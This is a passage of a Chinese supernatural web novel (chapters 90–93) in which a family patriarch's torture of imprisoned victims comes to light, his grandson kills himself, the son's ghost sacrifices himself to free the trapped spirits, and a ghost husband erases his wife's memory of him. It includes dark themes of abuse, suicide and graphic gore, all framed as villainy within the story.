两姐弟痛苦又惊恐地喊叫着,然而贺老爷子却笑得更激动满意了,“对,就这样喊,就这样喊,老夫感觉行了,感觉行了,快给x我喊啊!继续喊啊,不许停!小东西们!” 这一瞬间,贺父终于明白了眼前在发生什么,他这个七尺男儿,竟然被吓得一屁股坐在地上,而前面那个狰狞邪恶的贺老爷子,仿佛并不是他记忆中的那个敬爱的父亲,而是一个变成父亲的魔鬼! 贺父根本不敢相信自己看到的这一切,接着,他看到贺伯从另一头离开了,抬着那个昏死的少妇人,贺父鬼使神差地跟了过去。 他跟着贺伯来到了一处屋子,里头或躺或坐着许多身穿白色细麻衣的少年少女,有天生有残疾的,有傻的,还有,那个身怀六甲的妇人。 他们全都眼神空荡荡的,一点光都没有,身上全是被折磨出来的伤。 贺伯没有注意到他偷偷跟着,将人扔进去后,就离开了,贺父走了过去,他随手拉起一个人问,他们是谁,怎么会在这里。 那些人全都扑过来,让贺父救救他们,让贺父从贺老爷子手里救走他们,他们为了逃出去,不惧羞耻,哭着将贺老爷子折磨出来的伤给他看。 贺父那瞬间,被巨大的绝望和愤怒冲到头顶,他像疯了一样冲出去,冲到贺老爷子面前。 第90章 贺伯并未守在门前,独贺老爷子与那对姐弟在房里,门半掩着,贺父这猛一冲进去后,将贺老爷子气得脸色铁青,还以为是不懂事的底下人闯进来了,当抬起头看见是亲生儿子,脸色一下变得又青又白,他慌乱将敞开的衣物急急穿上去。 房里的动静终于引来了贺伯,见到此情此景,吓得不轻,连忙掩饰似地朝贺父走来,“大爷从京中回来了,底下人怎么也不懂回禀一声,大爷,老太爷有些事,您先与我过去,我跟你说——” “滚。”贺父一脚踹在他身后的门扇上,将门直接踹倒了。 贺伯心虚地擦擦汗,拿眼偷觑贺老爷子,贺老爷子只好硬着头皮道:“贺伯,你先出去吧。” 贺伯走开,想去带那对姐弟一起离开,但被贺父狠狠地剐了一眼,他瞬间不敢动了,独自离去。 贺老爷子很快镇定下来,重新换上一副温和脸色,朝贺父走来,“儿子,你别误会了,这是为父新买来的两个小童,为父不过就是……让他们给我捏捏肩而已,哪知他们胆子小,竟吓哭成这样……” 贺父刚下意识想喊父亲,此刻却无论如何也喊不出口了,他冷笑问道:“你说这是你买来的小童,那后面屋子里关的那些人究竟怎么回事?还有方才那个有身孕的妇人是怎么回事?” “这——”贺老爷子憋不出话来。 “你不用再满嘴胡扯了。”贺父心在滴血,十分陌生地盯着面前的老人,“我什么都看见了,我刚刚看得一清二楚,我看见你对那个妇人,对这个姐弟做了什么,父亲!你是个读书人,是个读圣贤书的人,怎么能做出这样的事呢?!你怎么能啊?!” 贺老爷子知道,再也瞒不住了,他慌乱了一阵,又忙解释道:“你听我说,爹这也是没有办法,爹只是想拿他们试试能不能行,我又不要他们的命,而且,你不知道,咱们贺家近两代的男子,越来越没法生育了……” 贺老爷子就将关于贺家所有的秘辛说了出来,他道:“我这些年思索了个法子,只要用这些人布下子孙阵,说不定我贺家以后就能,儿子,爹这也是为了你好,为了让你能有子嗣啊……” “荒唐!荒唐!实在是太荒唐了你!”贺父双眼冰红冰红的,“你怎么能为了一己私利,如此草菅人命呢?我便是此生无儿无女,也绝不会用他人的性命来做这等肮脏的事!” 他说完,情绪已经崩溃到了极点,贺父疯了一样,将房里的一切烛台、帘幕、床榻都给全部砸了一顿,直砸到两手都是鲜血,他才筋疲力尽地滑坐在地上瘫着,眼里竟流出了血泪。 贺老爷子被他的这副模样吓得脸色难看,心疼地要去看他的伤势。 贺父如今只剩下满腹的恶心,他一把推开贺老爷子,眼神痛苦,又崩溃。 “你自小教我读书,教我那些满口仁义道德的东西,可你怎么能这样对我?你怎么能做得出这样……禽兽不如的行径?你为什么要这样做,为什么啊!” “儿啊。”贺老爷子不敢置信,“你从小懂事,怎么能这样说为父呢?” “你不配!你不配做我父亲!”贺父又立马痛苦地死死抓住自己的头发,他想起什么,立刻放下手,“我要去衙门里告你,我要将这事都告诉他们!” “不行!”贺老爷子一听此话,神色大变,“儿啊,你不能去,你一去,我贺家会毁掉的!不仅是你,就是贺家以后子子孙孙都抬不起头来,连祖宗都要丢尽脸面,你要弑父灭祖,要做不孝子孙么?你要送自己的父亲去牢里,去断头台么?而且你娘她什么都不知道,你忍心吗?!” 贺父死死地扯住自己头发,似乎恨不得连同头皮一起扯下来才好,贺老爷子忙上前去阻止他的自残行为,贺父摇着头,不肯让其触碰。 贺老爷子恼了,冷冷地松开手,“行,你要去也行,你尽管去就是,你一去,我就让人将此处烧得干干净净,让那些人一个活口都别想留下来,我看你能有什么证据!” 贺父完全震惊陌生地盯着他。 仿佛已经不认识这个从小看在眼里的父亲了。 “但你若是肯安静些,我便就此不再做这样的事了。”贺老爷子劝道。 贺父久久不言语,像是完全死了一样,他闭上了眼睛。 最终,贺父还是没有勇气去做弑父灭祖的事,他软着身子,颤颤巍巍地从地上爬起来,贺老爷子一喜,要扶他,贺父狠狠甩开他,头也不回地往外走去,高大的身躯竟然佝偻得像个老媪。 贺父苍凉的声音传了来,“我可以答应你,但你要放过那些人,让他们离开,否则,你” 虽时隔许多年,但贺父还清楚记得,他那天痛苦到恨不得一死了之,之后独自跑出去喝了酒,酒醉后又去找裴老喝了一宿,他大醉时,只是对着裴老哭,却不敢将贺老爷子做的事说出来。 后来,贺老爷子到底忌惮,没敢再猖狂胡来,可却晚了,那些被他关住的人,全都自尽死在了那里。 贺父虽然终究没有告发,可每日里都不曾安心过,他有了功名,也不去朝廷,整日里流连在外,极少再回贺家,裴老与一些朋友见他突然变得如此堕落,皆苦心劝慰过,他也也懒得听,依旧我行我素地虚度生命,有时,他甚至一醉醒来,不知道今夕何夕了,贺老爷子也试着想要劝他,贺父却见都不想再见,也不再开口喊他一声父亲了。 到后面,贺老爷子实在看不惯他这个放荡的样子,给他娶了一个小户出身的妻子。 贺父在新婚夜,揭开盖头,妻子小心翼翼地看着他,她睁着一双湿润的眼睛,紧张又害怕,看着她,贺父想起了那些被关在祖父空宅里的人,他们也曾睁着一双双可怜的眼睛这样看他。 不知怎的,贺父心里忽然起了一个念头,他要对她好些,以此弥补那些被贺老爷子害死的人。 他就对她说:“你嫁了我,恐怕还不知道我有隐疾,我是不能生育的,以后给不了你子嗣,但你若能接受,我便会好好待你,若你不能,我会给你些银两,送你回去,日后我也会为你选一门好亲事,或许不怎么富贵,但衣食温饱确有的。” 妻子惊讶又疑惑,半晌后,她羞涩地点点头,回道:“既嫁了郎君,只要郎君日后能敬我,我愿意的。” 婚后那短短日子里,贺父勉强有了点精神,也少去外面喝酒了。 直到有一日,贺夫人的肚子竟然大了起来。 贺父问她,是谁的。 贺夫人不敢言语,只心虚地,望向贺老爷子的院子,贺父脸色大变,以为是贺老爷子逼迫的,拿起剑,就要去找过去,贺夫人吓得连忙抱住他,将实话说了出来。 原来,是她想要子嗣,主动去要的。 贺夫人哭着解释,是她实在是不想受人议论,受人眼色,她不能没有个孩子傍身。 贺父愣愣盯着她半晌,像是完全不认得她了一样,而后,没有任何恼怒,他癫狂地笑了起来,x甩开剑和贺夫人,从此,夫妻彻底反目。 这样整日醉酒寻花的一生,贺父虚度完了,最后连死,都仿佛没什么感觉,甚至只觉得才过了一夜而已,他怎么就变成了一个鬓发苍苍马上要入土的老人了呢? 在场的人和鬼,听完贺父的往事,全都沉默下来,贺文卿脸上最是难看,片刻后,他才一副不敢相信的神情,怒瞪住贺父。 “不,你胡说!不可能的!不可能的!祖父不是你说的这种人,你自己不成器,还敢污蔑祖父!你对母亲从来都冷漠,毫无一丝夫妻情义,还敢说母亲与祖父……我不相信!” “你不信,可以去问你祖父!你祖父就在前院那头!”贺父冷声道。 贺文卿恨恨地转过身,朝着外面跑出去,人变得疯疯癫癫,连鞋子掉了一只也不理会,直往外奔,他这副样子,看得群鬼一时都忘了动作,只眼睁睁目送他跑去。 贺父则面无情绪地回了头,望向一旁的陆魂,他明显认得陆魂,记得陆魂就是那晚被贺夫人带到贺家来的小儿子,陆魂背脊僵硬,并不看他,贺父叹口气,不再提起,而是继续朝众人说道:“当年,我没有勇气做我早该坐的事,我原以为,当年老东西答应了我,已经收手了,可我万万想不到,他从未醒悟过。” 贺父说着,在群鬼面前跪了下去。 “父之过,我这个做儿子的,脱不了干系,我愿受千刀万剐,以偿诸位多年的万分之一苦痛。” 少妇人看着他,痛苦地哭了起来,众鬼全部跟着呜呜咽咽地大哭,即使千刀万剐了贺老爷子,也无法偿还他们此生所遭受的苦痛。 陆魂一瞬不瞬地盯着这些鬼看,他仿佛也想起了,身体不自觉又痉挛,魏姻察觉到,立刻搂住他的腰,轻轻拍着他的后背安慰。 少年这才渐渐平静下来。 那边,众鬼也哭够了,少妇人擦着眼泪,拉过鬼群里的鬼男孩出来,来到贺父面前,她目光冰冷,却又冷静,“我们绝不会原谅你们贺家人的,但我也不会将你怎样,你既然想要赎罪,就请你代替这个可怜的孩子,让他活下去,而你,同我们献祭,破开这个法阵,让你的父亲得到他该有的报应吧。”《 》 90-93 第91章 出乎意料的是,贺父摇了头。 众鬼脸色都变了。 但他们还没来得及发作,有一只鬼跑了进来,惊恐朝少妇人叫喊起来:“姐姐,老东西发现贺文卿被我们抓了,带着许多人往我们这边来了。” 众鬼听到“老东西”三个字,几乎是下意识地抖了抖,他们强行忍住害怕,往外涌去,陆魂迟疑了一会儿,牵起魏姻的手,跟在最后面过去,魏姻往后一看,贺父也默不作声地跟上来了。 他们刚走出去,就顿住了脚步。 贺老爷子居然已经赶了过来,但他却被一个忽然冲上去的身影给拦住了,那个人,正是几近癫狂的贺文卿,贺老爷子撞见他,紧张地伸手去扶,“文卿,你怎样了?那些东西没伤着……” 然而,贺文卿径自打断了他接下来的话,拽着他的衣袖,满脸彷徨地跪了下去。 “祖父,孙儿知道你不会扯谎,请祖父你告诉我,你告诉我,我到底是不是父亲亲生的,我到底是不是?” 贺老爷子惊了一呆,没有料到贺文卿会问出这样的话,一时显得猝不及防,不知该如何回答。 贺老爷子的迟疑和震惊,全落到了贺文卿的眼里,贺文卿像被烫了一下,死死仰望着老人,“祖父,你为什么不说话,难道都是真的?我并不是父亲亲生的,而是你与母亲……” “不!”贺老爷子惊恐打断,“你胡说什么!怎么可能呢!谁跟你说的这些话?是不是这些鬼东西?!” “既然不是,祖父你为何要这样害怕?!”贺文卿胡乱叫着,“难道他说的是真的,是真的?” “不是,文卿,到底是谁跟你说的?难道是你母亲?”贺老爷子被这突然而来的意外给惊得六神无主了,“不可能,不可能的,她不可能……” 他意识到自己说了什么,及时住了嘴。 贺老爷子怒得直咬牙,他转而狠狠剐着群鬼,“是你们这些东西在文卿面前乱嚼舌头的?你们好大的胆子,今日,你们一个都别想跑!” “不用扯他们,老头子。” 贺父这时,走了上去,一瞬不瞬地迎住贺老爷子凶狠的目光,“是我跟文卿说的,这件事,他该知道的。” “是你?”贺老爷子不敢相信,“你怎么会……你不是死了么?” “是啊。”贺父冷嘲似地笑起来了,“我当日,不想埋进祖坟里,我不想死后都还要看见你,于是在生前,我就安排好了一切,让我的姬妾九姨娘在我死后,带人将我的尸骨在入棺后暗中换下,另外将我葬在这处空宅子边上,却不想,我竟又得到了机缘,借这宅子的地灵成鬼,我宁愿被这宅子里的他们撕碎,我也不想与你死后再做一处,我受够了。” “你!”贺老爷子气得一句话说不出来。 贺父并不在意,不断笑着,“父亲,自从那天开始,我已经有许多年未曾喊过你一声了,父亲,你是不是应该和文卿说个实话呢?是不是应该让他知道自己的身世呢?是不是应该告诉他,你是怎么和自己儿子的妻子在一处,又是怎么有了他的?” “你你你你!”贺老爷子被逼问得直往后退,但只勉强挤出一句,“你个不孝子!” “哈哈哈哈哈哈哈哈……”贺父仰天笑着,却笑得凄楚,他指着身后的群鬼,句句珠玑地追问不停,“父亲说我不孝,难道父亲是要儿子像你这样,禽兽不如,对妇孺孩童都下得去手么?难道父亲是要儿子像你这样,表面端着个读书人的端庄模样,口中念着些为国为民,而双手却将这些可怜的人,折磨得生不如死么?父亲,文卿的身世,你可以否认,但这么多人,这么多条被你害死的性命,如今赤条条地站在你面前,你能否认么?你还能否认么!” 群鬼的怨气全部射向贺老爷子,贺老爷子老爪抖着。 在贺父跟贺老爷子说话的时候,贺文卿安静了会儿,不发一言地盯着俩人看,从贺老爷子难以隐藏的表情上,贺文卿知道,宅子里的鬼确实跟贺老爷子有关系。 贺文卿低着头,似乎在回忆着从前那个端肃教导他的祖父,怎么也想不到,这个面孔的祖父不过是虚伪的。 他沉思了好一会儿,突然抬起头来,迅雷不及掩耳一把抽出了身边一个随从随身的剑,横在了自己脖子上。 所有人傻眼看着。 贺老爷子最先惊叫,“文卿,你这是做什么?!放下剑!” 贺文卿沉甸甸看向贺老爷子,问:“祖父,我问你一些话,只要你说实话,我就放下,否则……” “好好好,文卿,祖父都听你的,你问,祖父什么都说,绝不隐瞒你,你不要胡来啊,祖父现在只有你这么一个依靠了,你若是不好,我们贺家可怎么办。” “祖父,我问你,我究竟是不是父亲亲生的?” 贺老爷子明显沉默了一下,贺文卿见此,当即将剑刃要往里推,贺老爷子简直吓得魂飞魄散,不敢再有任何迟疑,立刻摇头道:“不是!不是!祖父已经说了,你快将剑放下吧。” “祖父,那我……”贺文卿这次问得迟疑了,“我可是,你与母亲……” 贺老爷子重重闭上了眼睛,无法辩驳:“……是。” 贺文卿面上一片死寂。 “文卿,祖父什么都跟你说了,你不要胡来。”贺老爷子老眼纵出泪花来,“你不要难受,也不要觉着难堪,祖父这也是没有办法的事,你父亲又不能生育,总不能眼睁睁看着贺家的香火断掉吧?我和你母亲也是没了法子,才出此下策啊……” 贺文卿不愿再看他,将眼睛闭上了。 贺老爷子并不敢去刺激,分外凶狠地瞪住一旁贺父,“你个不孝子,文卿虽然不是你亲生的,但也是你从小看着长大的呀,你何必要将这事告诉他?告诉他对你有什么好处?你个混账!” 贺父则转过脸去,面向群鬼。 一旁,魏姻认真望向贺文卿,他面上一片死气沉沉,一下子转入了x暮年似的,从前的那些自傲一下子在他身上找不到一点了,片刻后,他若有所觉地,睁开眼,目光迎住魏姻。 眼神不像往日那样盯着她看,变得很平静。 魏姻皱眉。 贺文卿年轻有成,自小就是他人眼中的天之骄子,向来高傲、自我,他这样的人,将脸面看得比什么都重,怕是无法容忍一丝污点…… 她刚这样想着,就见,贺文卿果断转过头去,不再看她,而后,他站直了身体,在所有人都没有反应过来之前,将剑刃用力对着脖颈撞过去。 接下来,魏姻只看到大量的血花从男人脖颈处洒开,将面容全覆盖上了一层猩红。 紧接着,是贺老爷子尖得几乎哑了的声音,“文卿——” 贺老爷子扔了拐杖,爬也似地扑过去抱住了他,但晚一步,才抱住贺文卿的头,后者已经断了气,贺老爷子老眼瞪得要出来了,不敢相信眼前看到的这一幕。 贺父微微讶异地望了一眼,但跟着,他脸上反倒现出了一抹解脱般的神情。 他笑了。 “这也好,也算是为贺家,偿些罪孽了。” 贺老爷子双手捂在贺文卿的脖子上,闻言,老泪瞬间逼了回去,狰狞地望向贺父和众鬼,“罪孽?什么罪孽?不过就是几个孤魂野鬼罢了?能为我贺家所用,都是你们的造化哈哈哈!你们!都别想走,给文卿陪葬吧。” 贺老爷子起身,让人将贺文卿的尸首抬出去,他也跟着离开了。 在他离开不多一会儿,整个法阵,就彻底开始动了起来。 宅子慢慢地摇晃、颤栗起来。 周围的房屋仿佛随时都要倒塌。 魏姻立刻想起了今晚要做的事,白着脸抱住陆魂,群鬼也慌乱地叫唤起来,想要逃离,少妇人却冷静叫住了他们。 “都别慌,做我们该做的事吧。” 群鬼这才想起,也许是早已下定决心赴死,这会儿又一个个神奇地淡定下来,不再慌乱无措了,就连最小的鬼男孩,同样毫不胆怯地牵着一个鬼的手,乖乖站在那。 唯有陆魂身体还有点颤,但片刻后,他仿佛又决绝了,微笑垂眸,“姐姐,陆魂此生能和姐姐做一场夫妻,已然心满意足,放开我吧姐姐,待会我们破开法阵,你就安心出去,纪嘉玉他们会在门外接应你的。” 魏姻不住流泪,仍旧紧紧搂着他不舍得放。 “姐姐。”陆魂抬手,抚摸她的头发,声音比任何时候都要显得温柔脾气好,“以后我不在了,姐姐不用害怕,我会将破军留给你的,他会护姐姐,即使遇着了比较厉害的鬼怪,破军也能应付一二。” “陆魂知道姐姐向来怕黑,以后就寝就多点个烛火在屋里,让破军守在你门边,谁也不敢对姐姐怎么样的。” “陆魂虽然说,让姐姐不要忘了我,但姐姐还年轻,也不用一直一直记着我,只要记得我三年,不,一年就好了,到时候姐姐放心去嫁给新郎君,陆魂若是还有一丝魂灵,就会为姐姐祈祷,望姐姐能够长命百岁,夫妻白头。” “陆魂……”魏姻听着少年的这些话,只觉得心脏都疼得厉害了,忍不住地道:“你不要再说了,我愿意和你一起赴死……” “但是陆魂不愿意。” 陆魂打断她的念头,“姐姐本就该有最好的一生,若因为陆魂的出现,而让姐姐葬送自己的一生,那么,陆魂宁愿从未出现过,姐姐,放手吧。” 少年说完,不再犹豫,狠心推开她。 第92章 魏姻被推开后,愣了那么片刻功夫,再也顾不得别的,扯住少年瘦弱腰身,直瞪瞪看着他苍白的脸。 这个十来岁的少年,只活过短短年岁,而这短短的年岁却没有一日是高兴的,便要就此消失在这个世间,实在是…… 实在是太悲哀了。 陆魂被她看得眼都红了,可他还是没有改变心意,几次想要去拉她,魏姻却死死地拽住他不肯松手,陆魂怕用劲会伤到她,一时不敢蛮力,他苦笑劝道:“姐姐,别这样。” 魏姻摇着头,满脸泪水盯着他看,因为难过,浑身紧绷得跟铁一样,脸色却惨白,嘴唇在发抖,像是随时要绷不住,晕过去的样子。 看到这里,陆魂叹了口气,无奈地垂下手,弯下身子,温柔亲掉她脸上的眼泪,才在她眉心那颗朱痣上吻了吻,他的吻冰冷,没有温度,一如他这个鬼,然而落在魏姻身上,却和煦得像是春日暖阳。 “姐姐,忘记我,忘记陆魂这个人吧。” 他的声音,又颤,又抖,又带着点极致的恋恋不舍,和一丝,决绝。 魏姻忽然感到一丝不对劲,刚想要推开他,不想,陆魂猛地伸手,捧住她的脑袋,不容她躲避。 他的额头,紧紧贴在她的额上。 从他的额上,涌出丝丝黑气,进入到她的脑袋里。 魏姻动不了,只能惊恐地问:“陆魂,你要做什么?!” “姐姐,你会忘记我的。”陆魂在笑,可眼里含着泪光。 “陆魂!你敢!” 不过片刻功夫,陆魂已经做完了一切,从魏姻身边退开,魏姻瞪视他,气急败坏。 陆魂最后望了她一眼,不再踌躇,背过身去。 在陆魂和魏姻诀别时,少妇人也和群鬼互相抱在一起又哭又笑,说了许久的话,而后,一起手牵着手,朝陆魂道:“开始吧。” 陆魂于是,祭出破军。 从始至终,贺父都在一旁安静地观察众鬼,他目光从众鬼身上,又转到陆魂魏姻身上,跟着离开,环视了一圈这处承载着无数罪恶的宅邸,他像是终于下定了决心。 走上前去,用手握住了破军的剑刃。 陆魂愕然掀起眼。 众鬼疑惑地望向他。 都不知道他要干什么。 贺父则笑着解释,“方才我还有些话,没有说完。” 没人作声,安静听他讲。 “当年,你们全部自尽在这个宅子里后,老头子答应了我,再不作恶,可后来,我却发现,他根本没有停手的意思,竟然还作……”说到这里,贺父下意识望了陆魂一眼,很快离开,“而且我发现他不但继续作恶,其实早已布下了子孙阵,打算利用这个宅子里的群鬼,为贺家改天换命,我才明白,他这人根本已经无药可救,我这些年便暗中盯着他,知道子孙阵之后,我花费了几乎一生的时间,研究怎么破这个阵,像你们这样百鬼祭破军,是其中一个法子,但实际上,还有一个法子。” 所有鬼瞬间沸腾起来。 可没有一个鬼敢在这个时候作声,全都屏住呼吸等着他说下去。 贺父继续道:“在我得知另外一个法子后,我就花费了数年时间,暗暗动了手脚,将子孙阵与我贺家祖坟连在一起,届时,只要用我贺家的魂灵做祭就好,不用这么多鬼去祭,我做的格外小心谨慎,每次只敢动一点点,因此,老头子他们竟至今还不知道,但最关键的是,子孙阵阴毒,必须要贺家血脉的魂灵才行,但是成鬼机遇难求,即使成鬼的条件具备,也不一定能够有把握化身成鬼,所以,我死后将自己的尸体安葬在了这个宅子边上,一方面,确实不想死后还要跟老头子葬一处,另外一方面,其实是我知道这处宅子的地灵也许可以将我化鬼,好在天道在我,让我当真有机遇化鬼了,让我能够弥补我贺家所犯下的罪孽。” 握住破军的陆魂,不敢置信抬头,望向贺父。 众鬼也热泪盈眶。 “陆家孩子。”贺父笑着交代,“这些年,我已经搜集了我父亲所有罪证,尽数都交由了我姬妾九姨娘,你和纪家那小子去跟她说,‘世上已没有贺进修这个人了’,她就会将东西交给你们,这是我当年一念之错,没有勇气做的事,望你们替我做到。” 陆魂顿了顿,点头:“是。” 跟着,贺父严肃了声音,对着陆魂以及所有鬼大声喝道:“诸位,都退开吧,我贺进修,愿用一身罪孽魂灵,以祭王剑,大开法阵,送诸位脱离枷锁,只祈望我贺家于世人眼中,不尽是满门畜生。” 贺父用力一抓,流出的黑血,顺着破军的剑身流淌,接着,破军身上发出一声声闷沉的低吟。 这一处,飞沙走石,房屋树木哗哗地往下砸,不能再呆。 众鬼复杂地看一眼贺父,全部化成一团黑雾,齐齐往大门处而去,贺父朝陆魂挥手,“你和魏家女儿也走吧。”x 陆魂不再多说,过去拉住魏姻,用身体替她挡着砸下来的东西,往外跑。 群鬼刚走到门口,就见贺老爷子也在那儿,他蹲在地上搂着贺文卿的尸身直哭弯了背。 他一边哭,一边慌里慌张地对早已没了声息的贺文卿说:“文卿,别怕,祖父一定会救活你的,祖父绝不会让你就这样死的,只要能救活你,祖父在所不惜!” “天哪。”贺老爷子身边的术士大叫,“他们怎么出来了!他们不是要被法阵给吞了么。” 贺老爷子立即抬头看,看到一群群面目狰狞的鬼怪,连忙又气又怒地叫嚷起来,“给我打开法阵啊!给我将他们给灭了!我要让这群东西为我文卿偿命!” “老太爷,法阵早就开了,这不太对啊,怎么回事……” 群鬼本来还有些恐惧害怕,可却迟迟没有法阵来拘他们,他们立刻急眼朝贺老爷子和他身边的术士冲过去,少妇人第一个来到了门外,惊喜大叫。 “我们能出来了!我们能出来了!法阵拘不了我们了!” 其他鬼很快反应过来,他们全部像饿狼一样,张开血盆大口,七扭八扭着肢体,疯狂朝贺老爷子等人扑爬过去。 贺老爷子震惊瞪大了老眼。 这一瞬间,他才知道什么叫恐惧。 陆魂半扶半搂着魏姻从里面出来时候,只听到贺父那头传来了巨大的响动,山崩地裂了一般,将他们脚下都震得不住抖了几下。 大门外,群鬼已经消失不见,只有一地残缺不全的人。 是贺老爷子与他的一干人,画面十分恐怖血腥,他们有的头或者身体被活生生咬掉了半边,有的手脚被咬去一大截,里面的肝肠什么全掉了出来,地上又白又红血糊糊的一大堆,可除了一些实在被撕咬得厉害的断了气,许多人都还有几口气在,并没有死。 而其中,贺老爷子是最惨烈的,他的手脚和整个下半身都没了,都被活生生给撕咬去了,唯独剩下一个脑袋和身干还在那苟延残喘,可他竟然没有被这巨痛生生疼死掉,仍然活着。 这场面,一个壮汉子看了都得给吓疯过去。 而纪嘉玉和他带来的手下就在不远处,显然,他们一个个都已经目睹过了这个场面,全部背过身去,跪在地上呕吐。 陆魂看了一眼这场面后,没让魏姻看,直接将她整个人搂进怀里,拥到纪嘉玉那边去。 纪嘉玉狼狈地坐在地上,扶着苍白的面容在那刚呕吐完,现在双腿都还在打颤,连眼皮也没力气抬起来,直到听到陆魂的声音,他才惊讶起身。 “你不是已经……” “我晚些时候再与你解释。”陆魂说。 纪嘉玉此刻也没什么心思问,恐惧得胡乱讲着,“天哪,我到底也不是那等胆子的人,也见识过些场面,可方才,看到一群鬼朝着老东西他们咬过去,就跟野兽一样,生吃生咬,太恐怖了,给我们弟兄吓得,全脚软了,好在他们不打算对我们下手,瞅我们一眼就全消失了,不然,跑都没力气跑了,你看,我有两个兄弟,都晕死过去了,那到底是些什么怪物呀?” 陆魂说:“他们就是当初被贺老爷子害死的那些人。” 纪嘉玉倒吸口气。 之后,纪嘉玉他们给贺老爷子他们收起了,贺老爷子都那样了,可郎中一看,却还没有什么生命危险,将郎中都给吓得不轻,纪嘉玉觉得怪异,让陆魂看了眼,才发现是群鬼似乎特意不让贺老爷子就那样死去,故意用鬼气维持住了他的生命,这对贺老爷子来说,生不如死。 陆魂又将贺父临去前的话交代了纪嘉玉,纪嘉玉亲自去找九姨娘拿,九姨娘在听闻后,哀伤流下眼泪,将东西交给了纪嘉玉。 纪嘉玉在离开贺府时,碰到了手下人给贺夫人送来了贺文卿的尸体,贺夫人当即昏死,不省人事了,醒来后也只整日抱着儿子的棺材默默地哭。 贺老爷子的事全部揭发出来,还被纪嘉玉当场抓到了他与一帮术士聚党,圣上震怒万分,不待内阁那边让刑部和大理寺动手,亲自下旨责令锦衣卫直接接手此案。 出了这样泯灭人性的大案,不仅是荒州,连整个朝廷上上下下无不惊动,甚至,将当初贺老爷子嫌天热,买妙龄闺女祭祀河伯的事都给牵扯出来了,一时,贺家满门声名扫地,无人不唾骂。 直到贺父收集来的那些证据,亲自告发父亲的事被宣发出来,才不至于满门都被骂做畜生。 第93章 魏姻被陆魂用鬼术抹去记忆,整个人都恍恍惚惚的,从贺家祖坟处的空宅子没多久,便眼黑黑地晕在了陆魂的怀里,不省人事,陆魂当即跟纪嘉玉告辞,抱了魏姻回到文家老宅。 魏父急忙跑来看女儿,以为女儿出事了,问陆魂,陆魂将自己抹去魏姻记忆的事告诉了魏父,魏父愣了片刻。 好在大夫看过,只是有些风寒和受惊,并无什么事,这才放了心,赶到夜里,纪嘉玉因贺老爷子的事来找陆魂,说贺老爷子已经救下来了,但已经被衙门那边给接手过去,只等圣使,也就是锦衣卫赶来,就要将他枷回京中去,交由圣上亲自裁决。 而后,纪嘉玉好奇问:“宅子里的那些鬼呢?他们都去哪了?还在宅子里么?” 陆魂回道:“都走了,我也不知道他们去了哪里,兴许回家去了。” 纪嘉玉点点头,想起魏姻昏死过去的事,要和陆魂一起去看一眼。 陆魂领着纪嘉玉刚走过房里,发现魏姻已经醒了过来,由着魏父坐在边上给她喂粥吃,妇人刚醒来,面色还有点虚弱,懒慵慵地偎在一头软枕上,看向一前一后走进来的一少年和一青年,她目光不冷不热,都只在两人身上停留了片刻,而后继续低头喝粥。 陆魂注意到了妇人的眼神,脚步倏地顿了一下,纪嘉玉毫未察觉,如常走上前问:“姻儿,你好些了么?” “没什么事。”魏姻笑着问道:“你不是在京城么?怎么来这了?” “啊?”纪嘉玉被她问得愣住了,疑惑地看看魏父,又朝陆魂问:“你姐姐这是怎么了?” 魏姻顺着纪嘉玉的视线问:“纪嘉玉,这是哪位?你带来的朋友么?” 纪嘉玉完全摸不着头脑,魏父咳了一声,说道:“陆魂,你来替我喂喂吧,我和嘉玉说两句话。” 陆魂正要乖乖走过去,魏姻一脸不高兴地拦住了魏父,小声道:“阿爹你说什么呢,这位陆小公子又和我不熟,怎么能让人家来喂我呢。” 她这话音不大,但屋子里没什么人,陆魂还是听到了。 陆魂怔怔地看了她一会儿,勉强才克制着自己挪开目光,让魏父继续,他拉着纪嘉玉走出房门外。 纪嘉玉让他们搞得脑子一团浆糊,“陆魂,到底怎么一回事啊,姻儿她怎么怪怪的,好像不认得你了一样。” 陆魂如实以告。 纪嘉玉忍不住笑了声,“原来如此,那这怎么办?姻儿她一点不记得你了,那你们成婚的事,岂不是……” 陆魂面色有点难看,他那时报了必死的心,魏姻又一直拉着他,难过成那样,他实在是不忍心她要独自承受这份难受,就只好抹掉了她的记忆,让她从此忘记他这个人。 但没有想到,后面贺父会代替他们去破阵…… 纪嘉玉走后,陆魂再次去到魏姻房里,他没有直接走过去,而是站在外间的门帘处往里看,魏父已经离开了,魏姻独自拥被坐于床头,一边低声咳着,一边捧着彩线在那打穗坠子。 她咳得厉害,想去端水喝,但水放得有些远,她要使劲扯过身子才能够到。 陆魂及时过去,替她端来热茶。 魏姻惊讶地抬起头,陆魂轻轻哄道:“姐姐,先别说话,喝点水润润嗓子。” 魏姻只好先将茶接过,喝完,陆魂又赶紧捧走,魏姻笑望着他,“陆公子,你没和纪嘉玉一起走么。” 陆魂听着如此陌生的称呼,一度没回过神来,他低低落落地嗯了声,“他还有事,先走了,我住在这里。” 魏姻哦了声,便什么都没再问,也没理会陆魂,继续去打穗子,陆魂在一旁静静地看了她好久,她都没有抬头瞧他一眼,全如陌生。 陆魂嘴角用力抿了抿,他忍不住了,小声开口:“姐姐,你不记得陆魂了么?” 魏姻回头,不解,“陆公子,你说什么?” 陆魂想到那时他x强行抹去她记忆,她恼怒的神情,立刻不敢再说话了,支支吾吾地摇摇头,说了一句没说什么,就垂头丧气地走了。 魏姻望着他的背影,笑着摇摇头,继续把弄穗子。 这次魏姻的风寒养了两日,还是没有怎么见大好,依旧时不时地咳着,魏父见陆魂整日里忧忧郁郁地杵在魏姻房门外边的廊下坐着,不敢进去,只小心听里头的动静,他也为这个小女婿操心不已,于是借口说自己腰疼犯了,让陆魂进去给魏姻送饭送药吃。 但魏姻对陆魂仍是一点记忆都没有,每日里都客客气气的,即使她这两日病得没什么力气,也不肯让陆魂喂她,说那样太亲近了,不合适。 陆魂只得又闷在心里,也不敢像以前那样亲近她。 以前,他们虽没什么交集,但好歹她还记得他们在学堂的时候,可现在,只要是关于陆魂的,她全都忘得干干净净。 破军在破开法阵后,重新回到了陆魂的身边,现在魏姻忘记了鬼,忘记了他,陆魂怕吓到她,也不敢让破军在家中乱飞,让她看到。 过了两日,魏姻风寒好一点,恰好纪嘉玉来看望裴老和魏父,魏姻在屋子里养病养得无聊,就打发人去请他,让他带她去外面走走,逛逛荒州的花灯。 纪嘉玉下意识看陆魂一眼。 陆魂皱了皱眉头,不太愿意让他们两个单独出去,于是道:“姐姐,现在外面天冷,你又还没有好,不要出门了好不好?” 纪嘉玉哪敢应承,连忙附和陆魂的话,“对,你还没好全,先歇着吧。” 魏姻不满意了,“我已经好多了,不碍事的。” 